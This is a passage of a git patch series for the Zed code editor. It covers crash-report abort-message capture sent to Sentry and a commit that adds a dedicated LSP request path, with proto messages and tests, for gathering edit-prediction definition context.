+                -1,
+                0,
+            );
+            assert_ne!(mapping, libc::MAP_FAILED);
+            assert_eq!(
+                libc::mprotect(
+                    mapping.cast::<u8>().add(page_size).cast(),
+                    page_size,
+                    libc::PROT_NONE
+                ),
+                0
+            );
+
+            mapping.cast::<u32>().write(page_size as u32);
+            let message = b"free(): invalid pointer\n\0";
+            std::ptr::copy_nonoverlapping(
+                message.as_ptr(),
+                mapping.cast::<u8>().add(size_of::<u32>()),
+                message.len(),
+            );
+
+            // Stands in for the `__abort_msg` global: a pointer variable whose
+            // address we hand to the reader.
+            let abort_msg: *mut libc::c_void = mapping;
+            let location = AbortMessageLocation {
+                pid: process::id(),
+                address: (&raw const abort_msg) as u64,
+            };
+            assert_eq!(
+                read_abort_message(location),
+                Some("free(): invalid pointer".to_string())
+            );
+
+            libc::munmap(mapping, 2 * page_size);
+        }
+    }
+}
diff --git a/crates/zed/src/reliability.rs b/crates/zed/src/reliability.rs
index b4a06b2629dde1..00917069d2006d 100644
--- a/crates/zed/src/reliability.rs
+++ b/crates/zed/src/reliability.rs
@@ -220,6 +220,21 @@ async fn upload_minidump(
     if let Some(minidump_error) = metadata.minidump_error.clone() {
         form = form.text("minidump_error", minidump_error);
     }
+    if let Some(abort_message) = metadata.abort_message.as_ref() {
+        // Sentry tag values are limited to 200 characters on a single line, so
+        // put a searchable prefix in the tag (which grouping rules also match
+        // on) and the full message in a context.
+        let tag: String = abort_message
+            .lines()
+            .next()
+            .unwrap_or_default()
+            .chars()
+            .take(200)
+            .collect();
+        form = form
+            .text("sentry[tags][abort_message]", tag)
+            .text("sentry[contexts][abort][message]", abort_message.clone());
+    }
 
     if let Some(is_staff) = &metadata
         .user_info

From 4a3e0af532e4ad89baf634f4b94938b98beaa292 Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Tue, 14 Jul 2026 20:54:27 -0500
Subject: [PATCH 466/772] Add a bespoke LSP request path for edit prediction
 context (#60947)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes EP-193

Edit prediction context collection previously reused the editor
goto-definition / goto-type-definition path, which resolves every LSP
result into a `LocationLink` — opening a buffer per target (worktree
creation, buffer registration, anchor conversion) before edit prediction
gets a chance to filter. On remote projects the host additionally
created a peer-visible buffer per link and the client waited on each
one.

This adds a bespoke request path that returns raw results first and only
does the expensive work for results that survive filtering:

- New `EditPredictionDefinition { path: ProjectPath, range:
Range<Unclipped<PointUtf16>> }` boundary type. LSP wire types never
leave `lsp_command.rs`; the workspace-only filter and URI→`ProjectPath`
resolution happen while normalizing the LSP response, before any buffer
exists, so the type encodes the workspace-only invariant.
- New `GetEditPredictionDefinitions` /
`GetEditPredictionTypeDefinitions` LSP commands and proto messages.
Responses carry only path + UTF-16 range — the host never calls
`create_buffer_for_peer` and the client never waits on remote buffers.
- One public API: `Project::edit_prediction_definitions(buffer,
position, include_type_definitions, cx)` fires both LSP requests
concurrently and returns a merged, deduped list ("not capable" = empty).
The definition/type-definition split was never used downstream, so
`CacheEntry` now holds a single list and the fetch pipeline runs one
task per identifier.
- `edit_prediction_context` dedupes raw results before opening buffers;
survivors open via `project.open_buffer(ProjectPath)` (skipping the
invisible-worktree/yarn machinery of `open_local_buffer_via_lsp`, and
working identically on remote projects), then clip → anchor →
`MAX_TARGET_LEN`.
- Removes the `workspace_only` flag from `GetDefinitions` /
`GetTypeDefinitions`: edit prediction was its only user. The editor path
always sent `false`, which proto3 doesn't encode, so normal
goto-definition requests are wire-identical; old peers still sending
`true` get unfiltered results (graceful degradation). The proto field
numbers are `reserved`.

Tested with a local test proving filtering precedes buffer opening (an
out-of-workspace target never spawns a worktree, an oversized target is
excluded from related files) and a collab test proving the remote
round-trip returns correct paths/ranges without opening buffers on the
client.

Release Notes:

- N/A
---
 .../tests/integration/integration_tests.rs    | 103 +++++
 .../src/edit_prediction_context.rs            | 149 +++----
 .../src/edit_prediction_context_tests.rs      |  89 +++-
 .../src/fake_definition_lsp.rs                |  34 ++
 crates/project/src/lsp_command.rs             | 412 +++++++++++++++---
 crates/project/src/lsp_store.rs               | 203 ++++++---
 .../project/src/lsp_store/lsp_ext_command.rs  |   1 -
 crates/project/src/project.rs                 |  34 +-
 crates/proto/proto/lsp.proto                  |  38 +-
 crates/proto/proto/zed.proto                  |   6 +-
 crates/proto/src/proto.rs                     |  30 ++
 crates/rpc/src/proto_client.rs                |   6 +
 12 files changed, 847 insertions(+), 258 deletions(-)

diff --git a/crates/collab/tests/integration/integration_tests.rs b/crates/collab/tests/integration/integration_tests.rs
index 38cac226badb88..403e36487bfdba 100644
--- a/crates/collab/tests/integration/integration_tests.rs
+++ b/crates/collab/tests/integration/integration_tests.rs
@@ -5139,6 +5139,109 @@ async fn test_definition(
     });
 }
 
+#[gpui::test]
+async fn test_edit_prediction_definition(
+    executor: BackgroundExecutor,
+    cx_a: &mut TestAppContext,
+    cx_b: &mut TestAppContext,
+) {
+    let mut server = TestServer::start(executor.clone()).await;
+    let client_a = server.create_client(cx_a, "user_a").await;
+    let client_b = server.create_client(cx_b, "user_b").await;
+    server
+        .create_room(&mut [(&client_a, cx_a), (&client_b, cx_b)])
+        .await;
+    let active_call_a = cx_a.read(ActiveCall::global);
+
+    let capabilities = lsp::ServerCapabilities {
+        definition_provider: Some(OneOf::Left(true)),
+        ..lsp::ServerCapabilities::default()
+    };
+    client_a.language_registry().add(rust_lang());
+    let mut fake_language_servers = client_a.language_registry().register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: capabilities.clone(),
+            ..FakeLspAdapter::default()
+        },
+    );
+    client_b.language_registry().add(rust_lang());
+    client_b.language_registry().register_fake_lsp_adapter(
+        "Rust",
+        FakeLspAdapter {
+            capabilities,
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    client_a
+        .fs()
+        .insert_tree(
+            path!("/root"),
+            json!({
+                "a.rs": "const ONE: usize = TWO;",
+                "b.rs": "const TWO: usize = 2;",
+            }),
+        )
+        .await;
+    let (project_a, worktree_id) = client_a.build_local_project(path!("/root"), cx_a).await;
+    let project_id = active_call_a
+        .update(cx_a, |call, cx| call.share_project(project_a.clone(), cx))
+        .await
+        .unwrap();
+    let project_b = client_b.join_remote_project(project_id, cx_b).await;
+
+    let (buffer_b, _handle) = project_b
+        .update(cx_b, |project, cx| {
+            project.open_buffer_with_lsp((worktree_id, rel_path("a.rs")), cx)
+        })
+        .await
+        .unwrap();
+
+    let fake_language_server = fake_language_servers.next().await.unwrap();
+    fake_language_server.set_request_handler::<lsp::request::GotoDefinition, _, _>(
+        |_, _| async move {
+            Ok(Some(lsp::GotoDefinitionResponse::Scalar(
+                lsp::Location::new(
+                    lsp::Uri::from_file_path(path!("/root/b.rs")).unwrap(),
+                    lsp::Range::new(lsp::Position::new(0, 6), lsp::Position::new(0, 9)),
+                ),
+            )))
+        },
+    );
+    cx_a.run_until_parked();
+    cx_b.run_until_parked();
+
+    let definitions = project_b
+        .update(cx_b, |project, cx| {
+            project.edit_prediction_definitions(&buffer_b, 19, false, cx)
+        })
+        .await
+        .unwrap();
+
+    cx_b.read(|cx| {
+        assert_eq!(definitions.len(), 1);
+        assert_eq!(
+            definitions[0].path,
+            ProjectPath {
+                worktree_id,
+                path: rel_path("b.rs").into(),
+            }
+        );
+        assert_eq!(
+            definitions[0].range.start.0,
+            language::PointUtf16::new(0, 6)
+        );
+        assert_eq!(definitions[0].range.end.0, language::PointUtf16::new(0, 9));
+        assert!(
+            project_b
+                .read(cx)
+                .get_open_buffer(&definitions[0].path, cx)
+                .is_none()
+        );
+    });
+}
+
 #[gpui::test(iterations = 10)]
 async fn test_references(
     executor: BackgroundExecutor,
diff --git a/crates/edit_prediction_context/src/edit_prediction_context.rs b/crates/edit_prediction_context/src/edit_prediction_context.rs
index 3069c13b65db4f..b5ab87a1738b82 100644
--- a/crates/edit_prediction_context/src/edit_prediction_context.rs
+++ b/crates/edit_prediction_context/src/edit_prediction_context.rs
@@ -5,8 +5,8 @@ use futures::{FutureExt, StreamExt as _, channel::mpsc, future};
 use gpui::{
     App, AppContext, AsyncApp, Context, Entity, EntityId, EventEmitter, Task, TaskExt, WeakEntity,
 };
-use language::{Anchor, Buffer, BufferSnapshot, OffsetRangeExt as _, Point, ToOffset as _};
-use project::{LocationLink, Project, ProjectPath};
+use language::{Anchor, Bias, Buffer, BufferSnapshot, OffsetRangeExt as _, Point, ToOffset as _};
+use project::{EditPredictionDefinition, Project, ProjectPath};
 use smallvec::SmallVec;
 use std::{
     collections::hash_map,
@@ -77,20 +77,15 @@ struct Identifier {
 
 enum DefinitionTask {
     CacheHit(Arc<CacheEntry>),
-    CacheMiss(
-        Task<
-            Option<(
-                Task<Result<Option<Vec<LocationLink>>>>,
-                Task<Result<Option<Vec<LocationLink>>>>,
-            )>,
-        >,
-    ),
+    CacheMiss {
+        project: WeakEntity<Project>,
+        task: Task<Result<Vec<EditPredictionDefinition>>>,
+    },
 }
 
 #[derive(Debug)]
 struct CacheEntry {
     definitions: SmallVec<[CachedDefinition; 1]>,
-    type_definitions: SmallVec<[CachedDefinition; 1]>,
 }
 
 #[derive(Clone, Debug)]
@@ -312,34 +307,21 @@ impl RelatedExcerptStore {
                         DefinitionTask::CacheHit(entry.clone())
                     } else {
                         let project = this.project.clone();
-                        let buffer = buffer.downgrade();
-                        DefinitionTask::CacheMiss(cx.spawn(async move |_, cx| {
-                            let buffer = buffer.upgrade()?;
-                            let definitions = project
-                                .update(cx, |project, cx| {
-                                    project.workspace_definitions(
-                                        &buffer,
-                                        identifier.range.start,
-                                        cx,
-                                    )
-                                })
-                                .ok()?;
-                            let type_definitions = project
-                                .update(cx, |project, cx| {
-                                    // tombi LSP for toml will open a scratch buffer with the JSON schema of
-                                    // the toml file when a goto type definition is requested
-                                    if is_tombi_lsp_in_toml(project, &buffer, cx) {
-                                        return Task::ready(Ok(None));
-                                    }
-                                    project.workspace_type_definitions(
-                                        &buffer,
-                                        identifier.range.start,
-                                        cx,
-                                    )
-                                })
-                                .ok()?;
-                            Some((definitions, type_definitions))
-                        }))
+                        let task = project
+                            .update(cx, |project, cx| {
+                                // tombi LSP for toml will open a scratch buffer with the JSON schema of
+                                // the toml file when a goto type definition is requested
+                                let include_type_definitions =
+                                    !is_tombi_lsp_in_toml(project, &buffer, cx);
+                                project.edit_prediction_definitions(
+                                    &buffer,
+                                    identifier.range.start,
+                                    include_type_definitions,
+                                    cx,
+                                )
+                            })
+                            .unwrap_or_else(|_| Task::ready(Ok(Vec::new())));
+                        DefinitionTask::CacheMiss { project, task }
                     };
 
                     let cx = async_cx.clone();
@@ -348,50 +330,29 @@ impl RelatedExcerptStore {
                             DefinitionTask::CacheHit(cache_entry) => {
                                 Some((identifier, cache_entry, None))
                             }
-                            DefinitionTask::CacheMiss(task) => {
-                                let (definitions, type_definitions) = task.await?;
-                                let (definition_locations, type_definition_locations) =
-                                    futures::join!(definitions, type_definitions);
+                            DefinitionTask::CacheMiss { project, task } => {
+                                let definition_locations = task.await.log_err().unwrap_or_default();
                                 let duration = start_time.elapsed();
 
-                                let definition_locations =
-                                    definition_locations.log_err().flatten().unwrap_or_default();
-                                let type_definition_locations = type_definition_locations
-                                    .log_err()
-                                    .flatten()
-                                    .unwrap_or_default();
-
                                 let definitions: SmallVec<[CachedDefinition; 1]> =
-                                    definition_locations
-                                        .into_iter()
-                                        .filter_map(|location| {
+                                    future::join_all(definition_locations.into_iter().map(
+                                        |definition| {
+                                            let project = project.clone();
                                             let mut cx = cx.clone();
-                                            process_definition(location, &mut cx)
-                                        })
-                                        .collect();
-
-                                let type_definitions: SmallVec<[CachedDefinition; 1]> =
-                                    type_definition_locations
-                                        .into_iter()
-                                        .filter_map(|location| {
-                                            let mut cx = cx.clone();
-                                            process_definition(location, &mut cx)
-                                        })
-                                        .filter(|type_def| {
-                                            !definitions.iter().any(|def| {
-                                                def.buffer.entity_id()
-                                                    == type_def.buffer.entity_id()
-                                                    && def.anchor_range == type_def.anchor_range
-                                            })
-                                        })
-                                        .collect();
+                                            async move {
+                                                process_definition(definition, &project, &mut cx)
+                                                    .await
+                                            }
+                                        },
+                                    ))
+                                    .await
+                                    .into_iter()
+                                    .flatten()
+                                    .collect();
 
                                 Some((
                                     identifier,
-                                    Arc::new(CacheEntry {
-                                        definitions,
-                                        type_definitions,
-                                    }),
+                                    Arc::new(CacheEntry { definitions }),
                                     Some(duration),
                                 ))
                             }
@@ -469,11 +430,7 @@ async fn rebuild_related_files(
     let mut snapshots = HashMap::default();
     let mut worktree_root_names = HashMap::default();
     for entry in new_entries.values() {
-        for definition in entry
-            .definitions
-            .iter()
-            .chain(entry.type_definitions.iter())
-        {
+        for definition in entry.definitions.iter() {
             if let hash_map::Entry::Vacant(e) = snapshots.entry(definition.buffer.entity_id()) {
                 definition
                     .buffer
@@ -510,11 +467,7 @@ async fn rebuild_related_files(
                     .get(identifier)
                     .copied()
                     .unwrap_or(usize::MAX);
-                for definition in entry
-                    .definitions
-                    .iter()
-                    .chain(entry.type_definitions.iter())
-                {
+                for definition in entry.definitions.iter() {
                     let Some(snapshot) = snapshots.get(&definition.buffer.entity_id()) else {
                         continue;
                     };
@@ -635,16 +588,24 @@ use language::ToPoint as _;
 
 const MAX_TARGET_LEN: usize = 128;
 
-fn process_definition(location: LocationLink, cx: &mut AsyncApp) -> Option<CachedDefinition> {
+async fn process_definition(
+    definition: EditPredictionDefinition,
+    project: &WeakEntity<Project>,
+    cx: &mut AsyncApp,
+) -> Option<CachedDefinition> {
+    let EditPredictionDefinition { path, range } = definition;
+    let buffer = project
+        .update(cx, |project, cx| project.open_buffer(path.clone(), cx))
+        .ok()?
+        .await
+        .log_err()?;
+
     cx.update(|cx| {
-        let buffer = location.target.buffer;
         let buffer_snapshot = buffer.read(cx);
-        let file = buffer_snapshot.file()?;
-        let path = ProjectPath {
-            worktree_id: file.worktree_id(cx),
-            path: file.path().clone(),
-        };
-        let anchor_range = location.target.range;
+        let target_start = buffer_snapshot.clip_point_utf16(range.start, Bias::Left);
+        let target_end = buffer_snapshot.clip_point_utf16(range.end, Bias::Left);
+        let anchor_range =
+            buffer_snapshot.anchor_after(target_start)..buffer_snapshot.anchor_before(target_end);
 
         // If the target range is large, it likely means we requested the definition of an entire module.
         // For individual definitions, the target range should be small as it only covers the symbol.
diff --git a/crates/edit_prediction_context/src/edit_prediction_context_tests.rs b/crates/edit_prediction_context/src/edit_prediction_context_tests.rs
index 5b8e9c6aecb49c..7c98f7a99268a5 100644
--- a/crates/edit_prediction_context/src/edit_prediction_context_tests.rs
+++ b/crates/edit_prediction_context/src/edit_prediction_context_tests.rs
@@ -5,10 +5,11 @@ use gpui::TestAppContext;
 use indoc::indoc;
 use language::{Point, ToPoint as _, rust_lang};
 use lsp::FakeLanguageServer;
-use project::{FakeFs, LocationLink, Project};
+use project::{FakeFs, LocationLink, Project, ProjectPath};
 use serde_json::json;
 use settings::SettingsStore;
 use std::fmt::Write as _;
+use util::rel_path::rel_path;
 use util::{path, test::marked_text_ranges};
 
 #[gpui::test]
@@ -561,9 +562,10 @@ async fn test_type_definition_deduplication(cx: &mut TestAppContext) {
 
     // In this project the only identifier near the cursor whose type definition
     // resolves is `TypeA`, and its GotoTypeDefinition returns the exact same
-    // location as GotoDefinition. After deduplication the CacheEntry for `TypeA`
-    // should have an empty `type_definitions` vec, meaning the type-definition
-    // path contributes nothing extra to the related-file output.
+    // location as GotoDefinition. After the definitions and type definitions are
+    // merged and deduped, the type-definition location is dropped, so it
+    // contributes nothing extra to the related-file output (the target location
+    // appears only once).
     fs.insert_tree(
         path!("/root"),
         json!({
@@ -638,6 +640,85 @@ async fn test_type_definition_deduplication(cx: &mut TestAppContext) {
     });
 }
 
+#[gpui::test]
+async fn test_edit_prediction_filters_raw_definitions_before_opening_buffers(
+    cx: &mut TestAppContext,
+) {
+    init_test(cx);
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            "src": {
+                "main.rs": indoc! {"
+                    // fake-definition-lsp-extra target /root/src/large.rs 0 0 0 129
+                    // fake-definition-lsp-extra target /root/src/valid.rs 0 3 0 9
+                    // fake-definition-lsp-extra target /outside.rs 0 3 0 10
+                    fn main() {
+                        target();
+                    }
+                "},
+                "valid.rs": "fn target() {}\n",
+                "large.rs": format!("{}\n", "a".repeat(MAX_TARGET_LEN + 16)),
+            },
+        }),
+    )
+    .await;
+    fs.insert_file(path!("/outside.rs"), "fn outside() {}\n".into())
+        .await;
+
+    let project = Project::test(fs.clone(), [path!("/root").as_ref()], cx).await;
+    let mut servers = setup_fake_lsp(&project, cx);
+
+    let (buffer, _handle) = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/root/src/main.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let _fake_language_server = servers.next().await.unwrap();
+    cx.run_until_parked();
+
+    let related_excerpt_store = cx.new(|cx| RelatedExcerptStore::new(&project, cx));
+    related_excerpt_store.update(cx, |store, cx| {
+        let position = {
+            let buffer = buffer.read(cx);
+            let offset = buffer
+                .text()
+                .find("target();")
+                .expect("target call not found");
+            buffer.anchor_before(offset)
+        };
+
+        store.set_identifier_line_count(0);
+        store.refresh(buffer.clone(), position, cx);
+    });
+
+    cx.executor().advance_clock(DEBOUNCE_DURATION);
+    related_excerpt_store.update(cx, |store, cx| {
+        assert_related_files(
+            &store.related_files(cx),
+            &[
+                ("root/src/valid.rs", &["fn target() {}"]),
+                ("root/src/main.rs", &["fn main() {\n    target();\n}"]),
+            ],
+        );
+    });
+
+    let worktree_id = buffer.read_with(cx, |buffer, cx| {
+        buffer.file().expect("buffer has file").worktree_id(cx)
+    });
+    let valid_path = ProjectPath {
+        worktree_id,
+        path: rel_path("src/valid.rs").into(),
+    };
+    project.read_with(cx, |project, cx| {
+        assert!(project.get_open_buffer(&valid_path, cx).is_some());
+        assert_eq!(project.worktrees(cx).count(), 1);
+    });
+}
+
 #[gpui::test]
 async fn test_definitions_ranked_by_cursor_proximity(cx: &mut TestAppContext) {
     init_test(cx);
diff --git a/crates/edit_prediction_context/src/fake_definition_lsp.rs b/crates/edit_prediction_context/src/fake_definition_lsp.rs
index 5b9e528b63f670..d844597ef50059 100644
--- a/crates/edit_prediction_context/src/fake_definition_lsp.rs
+++ b/crates/edit_prediction_context/src/fake_definition_lsp.rs
@@ -243,6 +243,12 @@ impl DefinitionIndex {
                 .or_insert_with(Vec::new)
                 .push(location);
         }
+        for (name, location) in extract_extra_definition_locations(content) {
+            self.definitions
+                .entry(name)
+                .or_insert_with(Vec::new)
+                .push(location);
+        }
 
         let type_annotations = extract_type_annotations(content)
             .into_iter()
@@ -303,6 +309,34 @@ impl DefinitionIndex {
     }
 }
 
+fn extract_extra_definition_locations(content: &str) -> Vec<(String, lsp::Location)> {
+    content
+        .lines()
+        .filter_map(|line| {
+            let mut parts = line
+                .trim()
+                .strip_prefix("// fake-definition-lsp-extra ")?
+                .split_whitespace();
+            let name = parts.next()?.to_string();
+            let path = PathBuf::from(parts.next()?);
+            let start_row = parts.next()?.parse().ok()?;
+            let start_column = parts.next()?.parse().ok()?;
+            let end_row = parts.next()?.parse().ok()?;
+            let end_column = parts.next()?.parse().ok()?;
+            Some((
+                name,
+                lsp::Location::new(
+                    Uri::from_file_path(path).ok()?,
+                    lsp::Range::new(
+                        lsp::Position::new(start_row, start_column),
+                        lsp::Position::new(end_row, end_column),
+                    ),
+                ),
+            ))
+        })
+        .collect()
+}
+
 /// Extracts `identifier_name -> type_name` mappings from field declarations
 /// and function parameters. For example, `owner: Arc<Person>` produces
 /// `"owner" -> "Person"` by unwrapping common generic wrappers.
diff --git a/crates/project/src/lsp_command.rs b/crates/project/src/lsp_command.rs
index 2f05aba49b5f30..bdc41891587147 100644
--- a/crates/project/src/lsp_command.rs
+++ b/crates/project/src/lsp_command.rs
@@ -4,7 +4,7 @@ use crate::{
     CodeAction, CompletionSource, CoreCompletion, CoreCompletionResponse, DocumentColor,
     DocumentHighlight, DocumentSymbol, Hover, HoverBlock, HoverBlockKind, InlayHint,
     InlayHintLabel, InlayHintLabelPart, InlayHintLabelPartTooltip, InlayHintTooltip, Location,
-    LocationLink, LspAction, LspPullDiagnostics, MarkupContent, PrepareRenameResponse,
+    LocationLink, LspAction, LspPullDiagnostics, MarkupContent, PrepareRenameResponse, ProjectPath,
     ProjectTransaction, PulledDiagnostics, ResolveState,
     lsp_store::{LocalLspStore, LspDocumentLink, LspFoldingRange, LspStore},
 };
@@ -39,6 +39,7 @@ use std::{
     cmp::Reverse, collections::hash_map, mem, ops::Range, path::Path, str::FromStr, sync::Arc,
 };
 use text::{BufferId, LineEnding};
+use util::rel_path::RelPath;
 use util::{ResultExt as _, debug_panic};
 
 pub use signature_help::SignatureHelp;
@@ -189,7 +190,17 @@ pub(crate) struct PerformRename {
 #[derive(Debug, Clone, Copy)]
 pub struct GetDefinitions {
     pub position: PointUtf16,
-    pub workspace_only: bool,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Hash)]
+pub struct EditPredictionDefinition {
+    pub path: ProjectPath,
+    pub range: Range<Unclipped<PointUtf16>>,
+}
+
+#[derive(Debug, Clone, Copy)]
+pub(crate) struct GetEditPredictionDefinitions {
+    pub position: PointUtf16,
 }
 
 #[derive(Debug, Clone, Copy)]
@@ -200,7 +211,11 @@ pub(crate) struct GetDeclarations {
 #[derive(Debug, Clone, Copy)]
 pub(crate) struct GetTypeDefinitions {
     pub position: PointUtf16,
-    pub workspace_only: bool,
+}
+
+#[derive(Debug, Clone, Copy)]
+pub(crate) struct GetEditPredictionTypeDefinitions {
+    pub position: PointUtf16,
 }
 
 #[derive(Debug, Clone, Copy)]
@@ -694,15 +709,7 @@ impl LspCommand for GetDefinitions {
         server_id: LanguageServerId,
         cx: AsyncApp,
     ) -> Result<Vec<LocationLink>> {
-        location_links_from_lsp(
-            message,
-            lsp_store,
-            buffer,
-            server_id,
-            self.workspace_only,
-            cx,
-        )
-        .await
+        location_links_from_lsp(message, lsp_store, buffer, server_id, cx).await
     }
 
     fn to_proto(&self, project_id: u64, buffer: &Buffer) -> proto::GetDefinition {
@@ -713,7 +720,6 @@ impl LspCommand for GetDefinitions {
                 &buffer.anchor_before(self.position),
             )),
             version: serialize_version(&buffer.version()),
-            workspace_only: self.workspace_only,
         }
     }
 
@@ -734,7 +740,6 @@ impl LspCommand for GetDefinitions {
             .await?;
         Ok(Self {
             position: buffer.read_with(&cx, |buffer, _| position.to_point_utf16(buffer)),
-            workspace_only: message.workspace_only,
         })
     }
 
@@ -764,6 +769,106 @@ impl LspCommand for GetDefinitions {
     }
 }
 
+#[async_trait(?Send)]
+impl LspCommand for GetEditPredictionDefinitions {
+    type Response = Vec<EditPredictionDefinition>;
+    type LspRequest = lsp::request::GotoDefinition;
+    type ProtoRequest = proto::GetEditPredictionDefinition;
+
+    fn display_name(&self) -> &str {
+        "Get edit prediction definition"
+    }
+
+    fn check_capabilities(&self, capabilities: AdapterServerCapabilities) -> bool {
+        capabilities
+            .server_capabilities
+            .definition_provider
+            .is_some_and(|capability| match capability {
+                OneOf::Left(supported) => supported,
+                OneOf::Right(_options) => true,
+            })
+    }
+
+    fn to_lsp(
+        &self,
+        path: &Path,
+        _: &Buffer,
+        _: &Arc<LanguageServer>,
+        _: &App,
+    ) -> Result<lsp::GotoDefinitionParams> {
+        Ok(lsp::GotoDefinitionParams {
+            text_document_position_params: make_lsp_text_document_position(path, self.position)?,
+            work_done_progress_params: Default::default(),
+            partial_result_params: Default::default(),
+        })
+    }
+
+    async fn response_from_lsp(
+        self,
+        message: Option<lsp::GotoDefinitionResponse>,
+        lsp_store: Entity<LspStore>,
+        _: Entity<Buffer>,
+        _: LanguageServerId,
+        cx: AsyncApp,
+    ) -> Result<Vec<EditPredictionDefinition>> {
+        edit_prediction_definitions_from_lsp(message, lsp_store, cx)
+    }
+
+    fn to_proto(&self, project_id: u64, buffer: &Buffer) -> proto::GetEditPredictionDefinition {
+        proto::GetEditPredictionDefinition {
+            project_id,
+            buffer_id: buffer.remote_id().into(),
+            position: Some(language::proto::serialize_anchor(
+                &buffer.anchor_before(self.position),
+            )),
+            version: serialize_version(&buffer.version()),
+        }
+    }
+
+    async fn from_proto(
+        message: proto::GetEditPredictionDefinition,
+        _: Entity<LspStore>,
+        buffer: Entity<Buffer>,
+        mut cx: AsyncApp,
+    ) -> Result<Self> {
+        Ok(Self {
+            position: edit_prediction_position_from_proto(
+                message.position,
+                message.version,
+                buffer,
+                &mut cx,
+            )
+            .await?,
+        })
+    }
+
+    fn response_to_proto(
+        response: Vec<EditPredictionDefinition>,
+        _: &mut LspStore,
+        _: PeerId,
+        _: &clock::Global,
+        _: &mut App,
+    ) -> proto::GetEditPredictionDefinitionResponse {
+        proto::GetEditPredictionDefinitionResponse {
+            definitions: edit_prediction_definitions_to_proto(response),
+        }
+    }
+
+    async fn response_from_proto(
+        self,
+        message: proto::GetEditPredictionDefinitionResponse,
+        _: Entity<LspStore>,
+        _: Entity<Buffer>,
+        _: AsyncApp,
+    ) -> Result<Vec<EditPredictionDefinition>> {
+        edit_prediction_definitions_from_proto(message.definitions)
+    }
+
+    fn buffer_id_from_proto(message: &proto::GetEditPredictionDefinition) -> Result<BufferId> {
+        BufferId::new(message.buffer_id)
+    }
+}
+
 #[async_trait(?Send)]
 impl LspCommand for GetDeclarations {
     type Response = Vec<LocationLink>;
@@ -807,7 +912,7 @@ impl LspCommand for GetDeclarations {
         server_id: LanguageServerId,
         cx: AsyncApp,
     ) -> Result<Vec<LocationLink>> {
-        location_links_from_lsp(message, lsp_store, buffer, server_id, false, cx).await
+        location_links_from_lsp(message, lsp_store, buffer, server_id, cx).await
     }
 
     fn to_proto(&self, project_id: u64, buffer: &Buffer) -> proto::GetDeclaration {
@@ -909,7 +1014,7 @@ impl LspCommand for GetImplementations {
         server_id: LanguageServerId,
         cx: AsyncApp,
     ) -> Result<Vec<LocationLink>> {
-        location_links_from_lsp(message, lsp_store, buffer, server_id, false, cx).await
+        location_links_from_lsp(message, lsp_store, buffer, server_id, cx).await
     }
 
     fn to_proto(&self, project_id: u64, buffer: &Buffer) -> proto::GetImplementation {
@@ -1008,7 +1113,7 @@ impl LspCommand for GetTypeDefinitions {
         server_id: LanguageServerId,
         cx: AsyncApp,
     ) -> Result<Vec<LocationLink>> {
-        location_links_from_lsp(message, project, buffer, server_id, self.workspace_only, cx).await
+        location_links_from_lsp(message, project, buffer, server_id, cx).await
     }
 
     fn to_proto(&self, project_id: u64, buffer: &Buffer) -> proto::GetTypeDefinition {
@@ -1019,7 +1124,6 @@ impl LspCommand for GetTypeDefinitions {
                 &buffer.anchor_before(self.position),
             )),
             version: serialize_version(&buffer.version()),
-            workspace_only: self.workspace_only,
         }
     }
 
@@ -1040,7 +1144,6 @@ impl LspCommand for GetTypeDefinitions {
             .await?;
         Ok(Self {
             position: buffer.read_with(&cx, |buffer, _| position.to_point_utf16(buffer)),
-            workspace_only: message.workspace_only,
         })
     }
 
@@ -1070,6 +1173,103 @@ impl LspCommand for GetTypeDefinitions {
     }
 }
 
+#[async_trait(?Send)]
+impl LspCommand for GetEditPredictionTypeDefinitions {
+    type Response = Vec<EditPredictionDefinition>;
+    type LspRequest = lsp::request::GotoTypeDefinition;
+    type ProtoRequest = proto::GetEditPredictionTypeDefinition;
+
+    fn display_name(&self) -> &str {
+        "Get edit prediction type definition"
+    }
+
+    fn check_capabilities(&self, capabilities: AdapterServerCapabilities) -> bool {
+        !matches!(
+            &capabilities.server_capabilities.type_definition_provider,
+            None | Some(lsp::TypeDefinitionProviderCapability::Simple(false))
+        )
+    }
+
+    fn to_lsp(
+        &self,
+        path: &Path,
+        _: &Buffer,
+        _: &Arc<LanguageServer>,
+        _: &App,
+    ) -> Result<lsp::GotoTypeDefinitionParams> {
+        Ok(lsp::GotoTypeDefinitionParams {
+            text_document_position_params: make_lsp_text_document_position(path, self.position)?,
+            work_done_progress_params: Default::default(),
+            partial_result_params: Default::default(),
+        })
+    }
+
+    async fn response_from_lsp(
+        self,
+        message: Option<lsp::GotoDefinitionResponse>,
+        lsp_store: Entity<LspStore>,
+        _: Entity<Buffer>,
+        _: LanguageServerId,
+        cx: AsyncApp,
+    ) -> Result<Vec<EditPredictionDefinition>> {
+        edit_prediction_definitions_from_lsp(message, lsp_store, cx)
+    }
+
+    fn to_proto(&self, project_id: u64, buffer: &Buffer) -> proto::GetEditPredictionTypeDefinition {
+        proto::GetEditPredictionTypeDefinition {
+            project_id,
+            buffer_id: buffer.remote_id().into(),
+            position: Some(language::proto::serialize_anchor(
+                &buffer.anchor_before(self.position),
+            )),
+            version: serialize_version(&buffer.version()),
+        }
+    }
+
+    async fn from_proto(
+        message: proto::GetEditPredictionTypeDefinition,
+        _: Entity<LspStore>,
+        buffer: Entity<Buffer>,
+        mut cx: AsyncApp,
+    ) -> Result<Self> {
+        Ok(Self {
+            position: edit_prediction_position_from_proto(
+                message.position,
+                message.version,
+                buffer,
+                &mut cx,
+            )
+            .await?,
+        })
+    }
+
+    fn response_to_proto(
+        response: Vec<EditPredictionDefinition>,
+        _: &mut LspStore,
+        _: PeerId,
+        _: &clock::Global,
+        _: &mut App,
+    ) -> proto::GetEditPredictionTypeDefinitionResponse {
+        proto::GetEditPredictionTypeDefinitionResponse {
+            definitions: edit_prediction_definitions_to_proto(response),
+        }
+    }
+
+    async fn response_from_proto(
+        self,
+        message: proto::GetEditPredictionTypeDefinitionResponse,
+        _: Entity<LspStore>,
+        _: Entity<Buffer>,
+        _: AsyncApp,
+    ) -> Result<Vec<EditPredictionDefinition>> {
